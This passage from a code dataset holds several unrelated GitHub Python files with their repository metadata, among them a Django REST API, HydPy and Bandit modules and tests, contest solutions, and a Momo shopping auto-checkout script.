Employee.objects.all()\n serializer = EmployeeSerializers(queryset, many=True)\n logging.info('Getting All Data')\n return Response(data=serializer.data, status=200)\n\n\nclass EmployeeDetails(APIView):\n\n def get(self, request, pk=None):\n try:\n queryset = Employee.objects.get(pk=pk)\n serializer = EmployeeSerializers(queryset)\n return Response(data=serializer.data, status=200)\n except:\n return Response(data={'message': 'Not Found'}, status=400)\n\n def delete(self, request, pk=None):\n try:\n queryset = Employee.objects.get(pk=pk)\n queryset.delete()\n return Response(data={'message': 'Deleted'}, status=204)\n except:\n return Response(data={'message': 'Not Found'}, status=400)\n\n def put(self, request, pk=None):\n try:\n queryset = Employee.objects.get(pk=pk)\n serializer = EmployeeSerializers(\n data=request.data, instance=queryset, partial=True)\n if serializer.is_valid():\n serializer.save()\n return Response(data=serializer.data, status=205)\n return Response(data=serializer.errors, status=400)\n except:\n return Response(data={'message': 'Not Found'}, status=400)\n\n authentication_classes = [JWTAuthentication]\n permission_classes = [IsAuthenticated]\n\n\nclass SignupAPI(CreateAPIView):\n queryset = User.objects.all()\n serializer_class = SignupSerializers\n","repo_name":"OmkarMohol99/Logging-In-DRF","sub_path":"project1/app1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34420578658","text":"# -*- coding: utf-8 -*-\n\"\"\"This module provides features for handling public (global) project data.\"\"\"\n# import...\n# ...from standard library\nfrom __future__ import annotations\nimport types\n\n# ...from HydPy\nfrom hydpy.core import exceptiontools\nfrom hydpy.core import filetools\nfrom hydpy.core import indextools\nfrom hydpy.core import optiontools\nfrom hydpy.core import propertytools\nfrom hydpy.core import selectiontools\nfrom hydpy.core import timetools\nfrom hydpy.core.typingtools import *\n\nif TYPE_CHECKING:\n from hydpy.cythons import configutils\n\n\nclass _PubProperty(propertytools.DefaultProperty[T_contra, T_co]):\n def __init__(self) -> None:\n super().__init__(self._fget)\n\n def _fget(self, obj: Any) -> NoReturn:\n raise exceptiontools.AttributeNotReady(\n f\"Attribute {self.name} of module `pub` is not defined at the moment.\",\n )\n\n\nclass TimegridsProperty(\n _PubProperty[\n Union[\n timetools.Timegrids,\n timetools.Timegrid,\n Tuple[\n timetools.DateConstrArg,\n timetools.DateConstrArg,\n timetools.PeriodConstrArg,\n ],\n ],\n timetools.Timegrids,\n ]\n):\n \"\"\"|DefaultProperty| specialised for |Timegrids| objects.\n\n For convenience, property |TimegridsProperty| can create a |Timegrids|\n object from a combination of a first and a last date (of type |str| or\n |Date|) and a step size (of type |str| or |Period|):\n\n >>> from hydpy import pub, Timegrid, Timegrids\n >>> pub.timegrids = \"2000-01-01\", \"2010-01-01\", \"1d\"\n\n The given date and period information applies for the |Timegrids.init|,\n the |Timegrids.sim|, and the |Timegrids.eval_| attribute, as well:\n\n >>> pub.timegrids.init\n Timegrid(\"2000-01-01 00:00:00\",\n \"2010-01-01 00:00:00\",\n \"1d\")\n >>> pub.timegrids.sim\n Timegrid(\"2000-01-01 00:00:00\",\n \"2010-01-01 00:00:00\",\n \"1d\")\n >>> pub.timegrids.eval_\n Timegrid(\"2000-01-01 00:00:00\",\n \"2010-01-01 00:00:00\",\n \"1d\")\n\n Alternatively, you can assign a ready |Timegrids| object directly:\n\n >>> pub.timegrids = Timegrids(Timegrid(\"2000-01-01\", \"2010-01-01\", \"1d\"),\n ... Timegrid(\"2000-01-01\", \"2001-01-01\", \"1d\"))\n >>> pub.timegrids\n Timegrids(init=Timegrid(\"2000-01-01 00:00:00\",\n \"2010-01-01 00:00:00\",\n \"1d\"),\n sim=Timegrid(\"2000-01-01 00:00:00\",\n \"2001-01-01 00:00:00\",\n \"1d\"),\n eval_=Timegrid(\"2000-01-01 00:00:00\",\n \"2001-01-01 00:00:00\",\n \"1d\"))\n \"\"\"\n\n def call_fset(\n self,\n obj: Any,\n value: Union[\n timetools.Timegrids,\n timetools.Timegrid,\n Tuple[\n timetools.DateConstrArg,\n timetools.DateConstrArg,\n timetools.PeriodConstrArg,\n ],\n ],\n ) -> None:\n \"\"\"Try to convert the given input value(s).\"\"\"\n try:\n timegrids = timetools.Timegrids(*value)\n except TypeError:\n timegrids = timetools.Timegrids(value) # type: ignore\n # this will most likely fail, we just want to reuse\n # the standard error message\n super().call_fset(obj, timegrids)\n\n\nclass Pub(types.ModuleType):\n \"\"\"Base class/module of module |pub|.\n\n After initialisation |pub| takes over |Pub| as its new base class. The reason for\n this complicated trick is that it makes the attribute handling of |pub| easier for\n users.\n\n You can import |pub| like other modules:\n\n >>> from hydpy import pub\n\n However, if you try to access unprepared attributes, |Pub| returns the following\n error message:\n\n >>> pub.timegrids\n Traceback (most recent call last):\n ...\n hydpy.core.exceptiontools.AttributeNotReady: Attribute timegrids of module `pub` \\\nis not defined at the moment.\n\n After setting an attribute value successfully, it is accessible (we select the\n `timegrids` attribute here, as its setter supplies a little magic to make defining\n new |Timegrids| objects more convenient:\n\n >>> pub.timegrids = None\n Traceback (most recent call last):\n ...\n ValueError: While trying to define a new `Timegrids` object based on the \\\narguments `None`, the following error occurred: Initialising a `Timegrids` object \\\neither requires one, two, or three `Timegrid` objects or two dates objects (of type \\\n`Date`, `datetime`, or `str`) and one period object (of type `Period`, `timedelta`, \\\nor `str`), but objects of the types `None, None, and None` are given.\n\n >>> pub.timegrids = \"2000-01-01\", \"2001-01-01\", \"1d\"\n >>> pub.timegrids\n Timegrids(\"2000-01-01 00:00:00\",\n \"2001-01-01 00:00:00\",\n \"1d\")\n\n After deleting, the attribute is not accessible anymore:\n\n >>> del pub.timegrids\n >>> pub.timegrids\n Traceback (most recent call last):\n ...\n hydpy.core.exceptiontools.AttributeNotReady: Attribute timegrids of module `pub` \\\nis not defined at the moment.\n \"\"\"\n\n options: optiontools.Options\n config: configutils.Config\n scriptfunctions: Dict[str, Callable[..., Optional[int]]]\n\n projectname = _PubProperty[str, str]()\n indexer = _PubProperty[indextools.Indexer, indextools.Indexer]()\n networkmanager = _PubProperty[filetools.NetworkManager, filetools.NetworkManager]()\n controlmanager = _PubProperty[filetools.ControlManager, filetools.ControlManager]()\n conditionmanager = _PubProperty[\n filetools.ConditionManager, filetools.ConditionManager\n ]()\n sequencemanager = _PubProperty[\n filetools.SequenceManager, filetools.SequenceManager\n ]()\n timegrids = TimegridsProperty()\n selections = _PubProperty[selectiontools.Selections, selectiontools.Selections]()\n\n def __init__(self, name: str, doc: Optional[str] = None) -> None:\n super().__init__(name=name, doc=doc)\n self.options = optiontools.Options()\n self.scriptfunctions = {}\n","repo_name":"hydpy-dev/hydpy","sub_path":"hydpy/core/pubtools.py","file_name":"pubtools.py","file_ext":"py","file_size_in_byte":6174,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"21"} +{"seq_id":"25816484445","text":"import os\nfrom unittest import mock\n\nimport fixtures\nimport testtools\n\nfrom bandit.core import config\nfrom bandit.core import constants\nfrom bandit.core import issue\nfrom bandit.core import manager\n\n\nclass ManagerTests(testtools.TestCase):\n def _get_issue_instance(\n self,\n sev=constants.MEDIUM,\n cwe=issue.Cwe.MULTIPLE_BINDS,\n conf=constants.MEDIUM,\n ):\n new_issue = issue.Issue(sev, cwe, conf, \"Test issue\")\n new_issue.fname = \"code.py\"\n new_issue.test = \"bandit_plugin\"\n new_issue.lineno = 1\n return new_issue\n\n def setUp(self):\n super().setUp()\n self.profile = {}\n self.profile[\"include\"] = {\n \"any_other_function_with_shell_equals_true\",\n \"assert_used\",\n }\n\n self.config = config.BanditConfig()\n self.manager = manager.BanditManager(\n config=self.config, agg_type=\"file\", debug=False, verbose=False\n )\n\n def test_create_manager(self):\n # make sure we can create a manager\n self.assertEqual(False, self.manager.debug)\n self.assertEqual(False, self.manager.verbose)\n self.assertEqual(\"file\", self.manager.agg_type)\n\n def test_create_manager_with_profile(self):\n # make sure we can create a manager\n m = manager.BanditManager(\n config=self.config,\n agg_type=\"file\",\n debug=False,\n verbose=False,\n profile=self.profile,\n )\n\n self.assertEqual(False, m.debug)\n self.assertEqual(False, m.verbose)\n self.assertEqual(\"file\", m.agg_type)\n\n def test_matches_globlist(self):\n self.assertTrue(manager._matches_glob_list(\"test\", [\"*tes*\"]))\n self.assertFalse(manager._matches_glob_list(\"test\", [\"*fes*\"]))\n\n def test_is_file_included(self):\n a = manager._is_file_included(\n path=\"a.py\",\n included_globs=[\"*.py\"],\n excluded_path_strings=[],\n enforce_glob=True,\n )\n\n b = manager._is_file_included(\n path=\"a.dd\",\n included_globs=[\"*.py\"],\n excluded_path_strings=[],\n enforce_glob=False,\n )\n\n c = manager._is_file_included(\n path=\"a.py\",\n included_globs=[\"*.py\"],\n excluded_path_strings=[\"a.py\"],\n enforce_glob=True,\n )\n\n d = manager._is_file_included(\n path=\"a.dd\",\n included_globs=[\"*.py\"],\n excluded_path_strings=[],\n enforce_glob=True,\n )\n\n e = manager._is_file_included(\n path=\"x_a.py\",\n included_globs=[\"*.py\"],\n excluded_path_strings=[\"x_*.py\"],\n enforce_glob=True,\n )\n\n f = manager._is_file_included(\n path=\"x.py\",\n included_globs=[\"*.py\"],\n excluded_path_strings=[\"x_*.py\"],\n enforce_glob=True,\n )\n self.assertTrue(a)\n self.assertTrue(b)\n self.assertFalse(c)\n self.assertFalse(d)\n self.assertFalse(e)\n self.assertTrue(f)\n\n @mock.patch(\"os.walk\")\n def test_get_files_from_dir(self, os_walk):\n os_walk.return_value = [\n (\"/\", (\"a\"), ()),\n (\"/a\", (), (\"a.py\", \"b.py\", \"c.ww\")),\n ]\n\n inc, exc = manager._get_files_from_dir(\n files_dir=\"\", included_globs=[\"*.py\"], excluded_path_strings=None\n )\n\n self.assertEqual({\"/a/c.ww\"}, exc)\n self.assertEqual({\"/a/a.py\", \"/a/b.py\"}, inc)\n\n def test_populate_baseline_success(self):\n # Test populate_baseline with valid JSON\n baseline_data = \"\"\"{\n \"results\": [\n {\n \"code\": \"test code\",\n \"filename\": \"example_file.py\",\n \"issue_severity\": \"low\",\n \"issue_cwe\": {\n \"id\": 605,\n \"link\": \"%s\"\n },\n \"issue_confidence\": \"low\",\n \"issue_text\": \"test issue\",\n \"test_name\": \"some_test\",\n \"test_id\": \"x\",\n \"line_number\": \"n\",\n \"line_range\": \"n-m\"\n }\n ]\n }\n \"\"\" % (\n \"https://cwe.mitre.org/data/definitions/605.html\"\n )\n issue_dictionary = {\n \"code\": \"test code\",\n \"filename\": \"example_file.py\",\n \"issue_severity\": \"low\",\n \"issue_cwe\": issue.Cwe(issue.Cwe.MULTIPLE_BINDS).as_dict(),\n \"issue_confidence\": \"low\",\n \"issue_text\": \"test issue\",\n \"test_name\": \"some_test\",\n \"test_id\": \"x\",\n \"line_number\": \"n\",\n \"line_range\": \"n-m\",\n }\n baseline_items = [issue.issue_from_dict(issue_dictionary)]\n self.manager.populate_baseline(baseline_data)\n self.assertEqual(baseline_items, self.manager.baseline)\n\n @mock.patch(\"logging.Logger.warning\")\n def test_populate_baseline_invalid_json(self, mock_logger_warning):\n # Test populate_baseline with invalid JSON content\n baseline_data = \"\"\"{\"data\": \"bad\"}\"\"\"\n self.manager.populate_baseline(baseline_data)\n # Default value for manager.baseline is []\n self.assertEqual([], self.manager.baseline)\n self.assertTrue(mock_logger_warning.called)\n\n def test_results_count(self):\n levels = [constants.LOW, constants.MEDIUM, constants.HIGH]\n self.manager.results = [\n issue.Issue(\n severity=level, cwe=issue.Cwe.MULTIPLE_BINDS, confidence=level\n )\n for level in levels\n ]\n\n r = [\n self.manager.results_count(sev_filter=level, conf_filter=level)\n for level in levels\n ]\n\n self.assertEqual([3, 2, 1], r)\n\n def test_output_results_invalid_format(self):\n # Test that output_results succeeds given an invalid format\n temp_directory = self.useFixture(fixtures.TempDir()).path\n lines = 5\n sev_level = constants.LOW\n conf_level = constants.LOW\n output_filename = os.path.join(temp_directory, \"_temp_output\")\n output_format = \"invalid\"\n with open(output_filename, \"w\") as tmp_file:\n self.manager.output_results(\n lines, sev_level, conf_level, tmp_file, output_format\n )\n self.assertTrue(os.path.isfile(output_filename))\n\n def test_output_results_valid_format(self):\n # Test that output_results succeeds given a valid format\n temp_directory = self.useFixture(fixtures.TempDir()).path\n lines = 5\n sev_level = constants.LOW\n conf_level = constants.LOW\n output_filename = os.path.join(temp_directory, \"_temp_output.txt\")\n output_format = \"txt\"\n with open(output_filename, \"w\") as tmp_file:\n self.manager.output_results(\n lines, sev_level, conf_level, tmp_file, output_format\n )\n self.assertTrue(os.path.isfile(output_filename))\n\n @mock.patch(\"os.path.isdir\")\n def test_discover_files_recurse_skip(self, isdir):\n isdir.return_value = True\n self.manager.discover_files([\"thing\"], False)\n self.assertEqual([], self.manager.files_list)\n self.assertEqual([], self.manager.excluded_files)\n\n @mock.patch(\"os.path.isdir\")\n def test_discover_files_recurse_files(self, isdir):\n isdir.return_value = True\n with mock.patch.object(manager, \"_get_files_from_dir\") as m:\n m.return_value = ({\"files\"}, {\"excluded\"})\n self.manager.discover_files([\"thing\"], True)\n self.assertEqual([\"files\"], self.manager.files_list)\n self.assertEqual([\"excluded\"], self.manager.excluded_files)\n\n @mock.patch(\"os.path.isdir\")\n def test_discover_files_exclude(self, isdir):\n isdir.return_value = False\n with mock.patch.object(manager, \"_is_file_included\") as m:\n m.return_value = False\n self.manager.discover_files([\"thing\"], True)\n self.assertEqual([], self.manager.files_list)\n self.assertEqual([\"thing\"], self.manager.excluded_files)\n\n @mock.patch(\"os.path.isdir\")\n def test_discover_files_exclude_dir(self, isdir):\n isdir.return_value = False\n\n # Test exclude dir using wildcard\n self.manager.discover_files([\"./x/y.py\"], True, \"./x/*\")\n self.assertEqual([], self.manager.files_list)\n self.assertEqual([\"./x/y.py\"], self.manager.excluded_files)\n\n # Test exclude dir without wildcard\n isdir.side_effect = [True, False]\n self.manager.discover_files([\"./x/y.py\"], True, \"./x/\")\n self.assertEqual([], self.manager.files_list)\n self.assertEqual([\"./x/y.py\"], self.manager.excluded_files)\n\n # Test exclude dir without wildcard or trailing slash\n isdir.side_effect = [True, False]\n self.manager.discover_files([\"./x/y.py\"], True, \"./x\")\n self.assertEqual([], self.manager.files_list)\n self.assertEqual([\"./x/y.py\"], self.manager.excluded_files)\n\n # Test exclude dir without prefix or suffix\n isdir.side_effect = [False, False]\n self.manager.discover_files([\"./x/y/z.py\"], True, \"y\")\n self.assertEqual([], self.manager.files_list)\n self.assertEqual([\"./x/y/z.py\"], self.manager.excluded_files)\n\n @mock.patch(\"os.path.isdir\")\n def test_discover_files_exclude_cmdline(self, isdir):\n isdir.return_value = False\n with mock.patch.object(manager, \"_is_file_included\") as m:\n self.manager.discover_files(\n [\"a\", \"b\", \"c\"], True, excluded_paths=\"a,b\"\n )\n m.assert_called_with(\n \"c\", [\"*.py\", \"*.pyw\"], [\"a\", \"b\"], enforce_glob=False\n )\n\n @mock.patch(\"os.path.isdir\")\n def test_discover_files_exclude_glob(self, isdir):\n isdir.return_value = False\n self.manager.discover_files(\n [\"a.py\", \"test_a.py\", \"test.py\"], True, excluded_paths=\"test_*.py\"\n )\n self.assertEqual([\"a.py\", \"test.py\"], self.manager.files_list)\n self.assertEqual([\"test_a.py\"], self.manager.excluded_files)\n\n @mock.patch(\"os.path.isdir\")\n def test_discover_files_include(self, isdir):\n isdir.return_value = False\n with mock.patch.object(manager, \"_is_file_included\") as m:\n m.return_value = True\n self.manager.discover_files([\"thing\"], True)\n self.assertEqual([\"thing\"], self.manager.files_list)\n self.assertEqual([], self.manager.excluded_files)\n\n def test_run_tests_keyboardinterrupt(self):\n # Test that bandit manager exits when there is a keyboard interrupt\n temp_directory = self.useFixture(fixtures.TempDir()).path\n some_file = os.path.join(temp_directory, \"some_code_file.py\")\n with open(some_file, \"w\") as fd:\n fd.write(\"some_code = x + 1\")\n self.manager.files_list = [some_file]\n with mock.patch(\n \"bandit.core.metrics.Metrics.count_issues\"\n ) as mock_count_issues:\n mock_count_issues.side_effect = KeyboardInterrupt\n # assert a SystemExit with code 2\n self.assertRaisesRegex(SystemExit, \"2\", self.manager.run_tests)\n\n def test_run_tests_ioerror(self):\n # Test that a file name is skipped and added to the manager.skipped\n # list when there is an IOError attempting to open/read the file\n temp_directory = self.useFixture(fixtures.TempDir()).path\n no_such_file = os.path.join(temp_directory, \"no_such_file.py\")\n self.manager.files_list = [no_such_file]\n self.manager.run_tests()\n # since the file name and the IOError.strerror text are added to\n # manager.skipped, we convert skipped to str to find just the file name\n # since IOError is not constant\n self.assertIn(no_such_file, str(self.manager.skipped))\n\n def test_compare_baseline(self):\n issue_a = self._get_issue_instance()\n issue_a.fname = \"file1.py\"\n\n issue_b = self._get_issue_instance()\n issue_b.fname = \"file2.py\"\n\n issue_c = self._get_issue_instance(sev=constants.HIGH)\n issue_c.fname = \"file1.py\"\n\n # issue c is in results, not in baseline\n self.assertEqual(\n [issue_c],\n manager._compare_baseline_results(\n [issue_a, issue_b], [issue_a, issue_b, issue_c]\n ),\n )\n\n # baseline and results are the same\n self.assertEqual(\n [],\n manager._compare_baseline_results(\n [issue_a, issue_b, issue_c], [issue_a, issue_b, issue_c]\n ),\n )\n\n # results are better than baseline\n self.assertEqual(\n [],\n manager._compare_baseline_results(\n [issue_a, issue_b, issue_c], [issue_a, issue_b]\n ),\n )\n\n def test_find_candidate_matches(self):\n issue_a = self._get_issue_instance()\n issue_b = self._get_issue_instance()\n\n issue_c = self._get_issue_instance()\n issue_c.fname = \"file1.py\"\n\n # issue a and b are the same, both should be returned as candidates\n self.assertEqual(\n {issue_a: [issue_a, issue_b]},\n manager._find_candidate_matches([issue_a], [issue_a, issue_b]),\n )\n\n # issue a and c are different, only a should be returned\n self.assertEqual(\n {issue_a: [issue_a]},\n manager._find_candidate_matches([issue_a], [issue_a, issue_c]),\n )\n\n # c doesn't match a, empty list should be returned\n self.assertEqual(\n {issue_a: []},\n manager._find_candidate_matches([issue_a], [issue_c]),\n )\n\n # a and b match, a and b should both return a and b candidates\n self.assertEqual(\n {issue_a: [issue_a, issue_b], issue_b: [issue_a, issue_b]},\n manager._find_candidate_matches(\n [issue_a, issue_b], [issue_a, issue_b, issue_c]\n ),\n )\n","repo_name":"PyCQA/bandit","sub_path":"tests/unit/core/test_manager.py","file_name":"test_manager.py","file_ext":"py","file_size_in_byte":14149,"program_lang":"python","lang":"en","doc_type":"code","stars":5599,"dataset":"github-code","pt":"21"} +{"seq_id":"42284360483","text":"import calendar\nfrom datetime import datetime\n\nfrom sqlalchemy.orm import query\n\nfrom db.models import Expense\nfrom db.queries import get_user_categories, bulk_create_expenses\n\n\ndef define_category(user_id: int, title: str) -> tuple:\n categories = get_user_categories(user_id=user_id)\n for category in categories:\n if title in category.costs:\n return category.title, category.id, category.is_auto\n return 'Разное', 0, False\n\n\ndef parse_expense(text: str) -> dict:\n expense = text.strip().split()\n if len(expense) < 2:\n return {}\n\n try:\n cost = int(expense[0])\n except ValueError:\n return {}\n\n result = {\n 'cost': cost,\n 'name': expense[1],\n 'comment': ' '.join(expense[2:]) if len(expense) > 2 else ''\n }\n return result\n\n\ndef convert_categories_list(categories: list) -> str:\n result = ''\n status_filters = {'daily': 'Ежедневно', \"weekly\": \"Еженедельно\", \"monthly\": \"Ежемесячно\", \"weekdays\": \"По будням\"}\n for category in categories:\n costs = ','.join(category[0])\n status = status_filters[category[1]]\n is_auto = category[2]\n title = category[3]\n result += f'{title}\\nТраты: {costs}\\nСтатус: {status}\\nАвто: {is_auto}\\n\\n'\n return result\n\n\ndef aggregate_expenses(expenses: query) -> dict:\n result = {}\n for expense in expenses:\n cost, category = expense.cost, expense.category.title\n if category in result:\n result[category] += cost\n else:\n result[category] = cost\n return result\n\n\ndef get_last_expenses(expenses: query) -> str:\n expenses_list = []\n for idx, expense in enumerate(expenses):\n cost, category, name = expense.cost, expense.category.title, expense.name\n expense_str = f'{idx+1}: {cost}, {name}, {category}'\n expenses_list.append(expense_str)\n return '\\n'.join(expenses_list)\n\n\ndef convert_aggregate_expenses(expenses: dict) -> str:\n return '\\n'.join(\"{}: {}\".format(k, v) for k, v in expenses.items())\n\n\ndef parse_income(text: str) -> dict:\n result = {'name': 'Undefined', 'value': 0}\n if text[0] == '+':\n splitted_text = text.split()\n result['value'] = splitted_text[0][1:]\n result['name'] = ' '.join(splitted_text[1:])\n return result\n\n\ndef get_weekdays(start_day, last_day: int, year: int, month: int) -> list:\n result = []\n excluded_days = ('Saturday', 'Sunday')\n for day_number in range(start_day, last_day + 1):\n day = datetime(year, month, day_number)\n weekday = calendar.day_name[day.weekday()]\n if weekday not in excluded_days:\n result.append(day)\n return result\n\n\ndef get_days(start_day, last_day: int, year: int, month: int) -> list:\n result = []\n for day_number in range(start_day, last_day + 1):\n result.append(datetime(year, month, day_number))\n return result\n\n\ndef get_month_lastday(month: int, year: int) -> int:\n return calendar.monthrange(year, month)[1]\n\n\ndef update_auto_expenses(cost: int, name: str, user_id: int, category_id: int,\n period: str, start_day: int, year: int, month: int) -> None:\n last_day = get_month_lastday(month, year)\n period_filters = {\n 'daily': get_days(start_day, last_day, year, month),\n 'weekdays': get_weekdays(start_day, last_day, year, month)\n }\n days = period_filters[period]\n expenses = [Expense(cost=cost, name=name, user_id=user_id, category_id=category_id, date=day) for\n day in days]\n bulk_create_expenses(expenses)\n\n\ndef convert_income(incomes: query) -> str:\n result = ''\n for income in incomes:\n result += f'{income.name if income.name else \"Безымянный\"}: {income.value}\\n'\n return result\n","repo_name":"cheeoreeo/expense_calculator","sub_path":"app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22168185570","text":"import logging\nfrom cache.redis_wrapper import RedisModel\n\n\nclass EventModel(RedisModel):\n event = None\n \n def __init__(self):\n super().__init__(\n description_cells=(('A', 3), ('L', '3')),\n value_cells=(('A', 4), ('L', '5'))\n )\n\n @classmethod\n def getEvent(cls):\n if cls.event is None:\n cls.event = EventModel()\n elif len(cls.event.rows) == 0:\n cls.event = EventModel()\n return cls.event\n\n","repo_name":"fabrizio2210/been_to_it","sub_path":"src/py/models/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43036495417","text":"bit_data = [0]*(10**6+10)\nbit_end = 10**6+5\n\n\ndef add(pos, val):\n pos += 1\n while pos < bit_end:\n bit_data[pos] += val\n pos += pos & -pos\n\n\ndef getsum(pos):\n ret = 0\n pos += 1\n while pos > 0:\n ret += bit_data[pos]\n pos -= pos & -pos\n return ret\n\n\ndef main():\n L, Q = map(int, input().split())\n query = [list(map(int, input().split())) for _ in range(Q)]\n c_list = []\n for _, x in query:\n c_list.append(x)\n # 座標圧縮\n c_list.append(0)\n c_list.append(L)\n c_dict = {c: i for i, c in enumerate(sorted(list(set(c_list))))}\n c_revdict = {i: c for i, c in enumerate(sorted(list(set(c_list))))}\n d_list = [c_dict[c] for c in c_list]\n add(0, 1)\n add(c_dict[L], 1)\n for c, x in query:\n x_comp = c_dict[x]\n if c == 1:\n # cut wood\n add(x_comp, 1)\n else:\n # get wood\n cnt = getsum(x_comp)\n lower_bound_comp = bisect(cnt)\n lower_bound = c_revdict[lower_bound_comp]\n upper_bound_comp = bisect(cnt+1)\n upper_bound = c_revdict[upper_bound_comp]\n print(upper_bound-lower_bound)\n\n\ndef bisect(cnt):\n ok = -1\n ng = bit_end+1\n while ng-ok > 1:\n mid = (ok+ng)//2\n if getsum(mid) < cnt:\n ok = mid\n else:\n ng = mid\n return ok+1\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"C++/AtCoder/ふるい/abc217_d_1013.py","file_name":"abc217_d_1013.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41715067706","text":"import os\r\n\r\nfrom iconsdk.builder.transaction_builder import DeployTransactionBuilder\r\nfrom iconsdk.builder.call_builder import CallBuilder\r\nfrom iconsdk.icon_service import IconService\r\nfrom iconsdk.libs.in_memory_zip import gen_deploy_data_content\r\nfrom iconsdk.providers.http_provider import HTTPProvider\r\nfrom iconsdk.signed_transaction import SignedTransaction\r\n\r\nfrom tbears.libs.icon_integrate_test import IconIntegrateTestBase, SCORE_INSTALL_ADDRESS\r\nfrom BattleBombRoyale.tests.utils import *\r\n\r\nDIR_PATH = os.path.abspath(os.path.dirname(__file__))\r\n\r\nclass TestBattleBombRoyale(IconIntegrateTestBase):\r\n TEST_HTTP_ENDPOINT_URI_V3 = \"http://127.0.0.1:9000/api/v3\"\r\n SCORE_PROJECT= os.path.abspath(os.path.join(DIR_PATH, '..'))\r\n\r\n _PARTICIPATION_COST = 1 * 10**18\r\n\r\n def setUp(self):\r\n super().setUp()\r\n\r\n self.icon_service = None\r\n # if you want to send request to network, uncomment next line and set self.TEST_HTTP_ENDPOINT_URI_V3\r\n # self.icon_service = IconService(HTTPProvider(self.TEST_HTTP_ENDPOINT_URI_V3))\r\n\r\n # install SCORE\r\n self._score_address = self._deploy_score()['scoreAddress']\r\n\r\n def _deploy_score(self, to: str = SCORE_INSTALL_ADDRESS) -> dict:\r\n # Generates an instance of transaction for deploying SCORE.\r\n transaction = DeployTransactionBuilder() \\\r\n .from_(self._test1.get_address()) \\\r\n .to(to) \\\r\n .step_limit(100_000_000_000) \\\r\n .nid(3) \\\r\n .nonce(100) \\\r\n .content_type(\"application/zip\") \\\r\n .content(gen_deploy_data_content(self.SCORE_PROJECT)) \\\r\n .build()\r\n\r\n # Returns the signed transaction object having a signature\r\n signed_transaction = SignedTransaction(transaction, self._test1)\r\n\r\n # process the transaction in local\r\n result = self.process_transaction(signed_transaction, self.icon_service)\r\n\r\n self.assertTrue('status' in result)\r\n self.assertEqual(1, result['status'])\r\n self.assertTrue('scoreAddress' in result)\r\n\r\n return result\r\n\r\n def test_score_update(self):\r\n # update SCORE\r\n result = self._deploy_score(self._score_address)\r\n self.assertEqual(self._score_address, result['scoreAddress'])","repo_name":"iconation/BattleBombRoyale","sub_path":"BattleBombRoyale/tests/test_score.py","file_name":"test_score.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29607915884","text":"judges = int(input())\n\npresentation_name = \"\"\npresentation_score = 0\ntotal_score = 0\ncount = 0\naver_score = 0\nnumber_score = 0\n\nwhile True:\n presentation_name = str(input())\n if presentation_name == \"Finish\":\n break\n else:\n for i in range(judges):\n score = float(input())\n total_score += score\n presentation_score += score\n number_score += 1\n count += 1\n if count == judges:\n aver_score = presentation_score / judges\n presentation_score = 0\n count = 0\n print(f\"{presentation_name} -{aver_score: .2f}.\")\nprint(f\"Student's final assessment is{total_score / number_score: .2f}.\")\n","repo_name":"StefanDimitrovDimitrov/Python_Basic","sub_path":"09.Nested Loops/04_Train_the_trainers.py","file_name":"04_Train_the_trainers.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19736530311","text":"class Solution:\n def partition(self, s: str) -> List[List[str]]:\n ans=[]\n def recurse(cur,start):\n if start==len(s):\n ans.append(cur)\n for i in range(len(s)-start):\n temp=s[start:start+i+1]\n if temp==temp[::-1]:\n recurse(cur+[temp],start+i+1)\n recurse([],0)\n return ans","repo_name":"bhavikjain403/LeetCode","sub_path":"0131-palindrome-partitioning/0131-palindrome-partitioning.py","file_name":"0131-palindrome-partitioning.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"9760154295","text":"# -*- coding: UTF-8 -*-\nfrom model.Momo import Momo\nfrom util.ActivityScheduler import ActivityScheduler\nfrom util.Bootstrap import Bootstrap\nfrom util.Info import Info\nfrom util.clearIO import clearPrint, clearInput\n\n\n\ndef main():\n if(clearInput('因為這程式會要求你輸入一些資訊,雖然我不會盜取這些資訊,他們也不會被放到網路上,但如果會害怕個資外流的人,請不要使用....\\n輸入 \"y\" 以繼續...\\n輸入其他任意鍵以離開...').lower() != \"y\"):\n return\n\n bootstrap = Bootstrap()\n \n info = Info()\n info.prepareInfo()\n\n browser = bootstrap.launchBrowser()\n \n site = \"momo\"\n #site = \"pchome\n if site == \"momo\":\n shoppingSite = Momo(browser=browser, info=info)\n\n if info.autoLogin:\n shoppingSite.login()\n else:\n clearInput('請手動登入網站並按下 \"Enter\"....')\n\n #shoppingSite.getItemInfoFromTrackList(itemTag=\"4836742\") \n #shoppingSite.getItemInfoFromTrackList() \n \n # activityScheduler = ActivityScheduler()\n # activityScheduler.queryTargetTime()\n # activityScheduler.waiting(delay=0.5, period=0.5)\n\n #shoppingSite.goToItemPage()\n while True:\n try:\n period = clearInput('(1) 點到商品頁面\\n(2) 在底下輸入你要過幾秒刷新一次網頁\\n(3) 接著就會看到頁面重複刷新直到成功將商品放入購物車\\n請輸入網頁更新週期(EX: 0.3,可以選擇留白直接按空白,就會採用預設值=0.1): ').strip()\n if len(period) == 0:\n period = 0.1\n else:\n period = float(period)\n except Exception as e:\n print(e)\n continue\n else:\n break\n \n shoppingSite.addToCart(period) \n shoppingSite.checkOut()\n shoppingSite.fillOutCheckoutForm()\nif __name__ == \"__main__\":\n main()","repo_name":"stmmaarrkk/auto-checkout","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40583228691","text":"\n\nfrom traceback import 